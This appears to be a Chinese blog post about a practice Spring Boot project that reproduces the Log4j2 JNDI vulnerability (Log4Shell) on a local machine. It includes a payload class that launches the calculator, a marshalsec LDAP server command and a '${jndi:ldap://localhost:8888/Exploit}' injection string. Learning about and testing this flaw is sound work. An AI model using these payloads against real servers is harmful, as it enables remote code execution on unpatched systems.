简单spring boot项目,之前练习的,现在好像没有达到效果

  1. 简单的springboot项目 访问 http:localhost:8080 404就是启动成功了
  2. java调用命令行打开电脑计算器
  3. TODO 日志那部分有点问题,没有达到预期

spring boot 项目启动类

java 复制代码
package com.log4j2test;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Log4j2Application {

    public static void main(String[] args) {
        SpringApplication.run(Log4j2Application.class, args);
    }

}

一些日志测试的demo

打开电脑计算器

java 复制代码
package com.log4j2test.slf4j;

/**
 * @author
 * @data 2021/12/20
 * @time 9:58
 * @Description  java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888
 */
public class Exploit {

    /**
     * 服务器代码
     */
    static {
        System.err.println("Pwned");

        try {
            String calcStr = "calc";
            Runtime.getRuntime().exec(calcStr);
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }
}

测试日志并且调用打开电脑计算器

java 复制代码
public class LogTest {

    public static final Logger logger = LoggerFactory.getLogger(LogTest.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:8888/Exploit}");
        Exploit exploit =new Exploit();
        System.out.println(exploit);
    }
}

controller 这个没有达到预期

java 复制代码
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;

/**
 * @author
 * @data 2021/12/20
 * @time 10:02
 * @Description
 */
@Controller
public class TestController {

    public static final Logger logger = LoggerFactory.getLogger(LogTest.class);
    @PostMapping("/slf4j/hello")
    public void hello(){

        // 若输出 Java OS系统版本,则说明log4j将${}中的内容当作命令来执行了,不符合预期
        // 将log4j-core排除后运行该代码,结果则是当做字符串输出,符合预期结果
        logger.error("java:os : ${java:os}");
    }
}

一个空的application.properties

一个空的spring boot 测试类

java 复制代码
package com.log4j2test;

import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;

@SpringBootTest
class Log4j2ApplicationTests {

    @Test
    void contextLoads() {
    }

}
相关推荐
子兮曰16 小时前
jev-ultrafast 深度解析:7 秒订机票的浏览器 Agent 是如何炼成的
前端·后端·agent
小羊没烦恼!17 小时前
微服务化的基石——持续集成
java·大数据·word·powerpoint·.net
子兮曰17 小时前
Jev 爆发一周:7 秒 Agent 背后的 System One 生态与三场争议
前端·后端·ai编程
俊昭喜喜里17 小时前
java中的继承和多态的区别
java
小羊没烦恼!17 小时前
初探性能优化——2个月到4小时的性能提升
java·开发语言·windows·算法·c#
爱勇宝17 小时前
ZCode 开源 24 小时:一份没有历史的账本,回答不了"有没有偷代码"
前端·后端·chatglm (智谱)
譕痕17 小时前
JSONObject与JSONArray封装数据格式区别
java·json
胡写代码17 小时前
别再前后端各写一套表单校验了
java·后端
小鱼能吃糖17 小时前
缺陷修复总览 · mall电商项目:5类缺陷,1个病根,4个业务域
java·电商
此时不提桶,更待何时18 小时前
01-06-A-JVM排查实战详解
java·jvm